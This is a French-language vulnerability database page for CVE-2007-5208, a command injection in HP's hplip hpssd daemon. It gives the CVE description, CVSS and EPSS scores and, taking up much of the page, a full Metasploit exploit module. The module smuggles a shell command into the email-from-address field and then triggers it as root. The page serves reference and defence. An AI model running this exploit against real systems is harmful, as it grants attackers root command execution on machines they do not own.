CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
hpssd in Hewlett-Packard Linux Imaging and Printing Project (hplip) 1.x and 2.x before 2.7.10 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a from address, which is not properly handled when invoking sendmail.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.6
AV:N/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
81.84%
–
–
2022-04-03
–
–
81.84%
–
–
2023-03-12
–
–
–
25.9%
–
2023-03-19
–
–
–
23.23%
–
2023-04-23
–
–
–
21.02%
–
2023-05-28
–
–
–
21.83%
–
2024-03-17
–
–
–
22.32%
–
2024-06-02
–
–
–
22.32%
–
2024-06-16
–
–
–
22.32%
–
2024-07-14
–
–
–
20.28%
–
2024-08-25
–
–
–
37.42%
–
2024-09-29
–
–
–
44.09%
–
2024-12-08
–
–
–
44.09%
–
2024-12-22
–
–
–
65.61%
–
2025-01-19
–
–
–
65.61%
–
2025-03-18
–
–
–
–
75.45%
2025-03-30
–
–
–
–
73.52%
2025-03-30
–
–
–
–
73.52,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-10-08 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution',
'Description' => %q{
This module exploits a command execution vulnerable in the hpssd.py
daemon of the Hewlett-Packard Linux Imaging and Printing Project.
According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
This module was written and tested using the Fedora 6 Linux distribution.
On the test system, the daemon listens on localhost only and runs with
root privileges. Although the configuration shows the daemon is to
listen on port 2207, it actually listens on a dynamic port.
NOTE: If the target system does not have a 'sendmail' command installed,
this vulnerability cannot be exploited.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10617 $',
'References' =>
[
[ 'CVE', '2007-5208' ],
[ 'OSVDB', '41693' ],
[ 'BID', '26054' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# inetd isn't used on FC6/7 (xinetd is)
# netcat doesn't have -e by default
}
},
'Targets' =>
[
[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 04 2007'
))
register_options(
[
Opt::RPORT(2207),
], self.class)
end
def exploit
connect
#cmd = "nohup " + payload.encoded
cmd = payload.encoded
username = 'root'
toaddr = 'nosuchuser'
# first setalerts
print_status("Sending 'setalerts' request with encoded command line...")
msg = "username=#{username}\n" +
"email-alerts=1\n" +
#"email-from-address=`#{cmd}`\n" +
"email-from-address=x;#{cmd};\n" +
"email-to-addresses=#{toaddr}\n" +
"msg=setalerts\n"
sock.put(msg)
# next, the test email command
print_status("Sending 'testemail' request to trigger execution...")
msg = "msg=testemail\n"
sock.put(msg)
end
end
Products Mentioned
Configuraton 0
Hp>>Linux_imaging_and_printing_project >> Version To (including) 2.7.10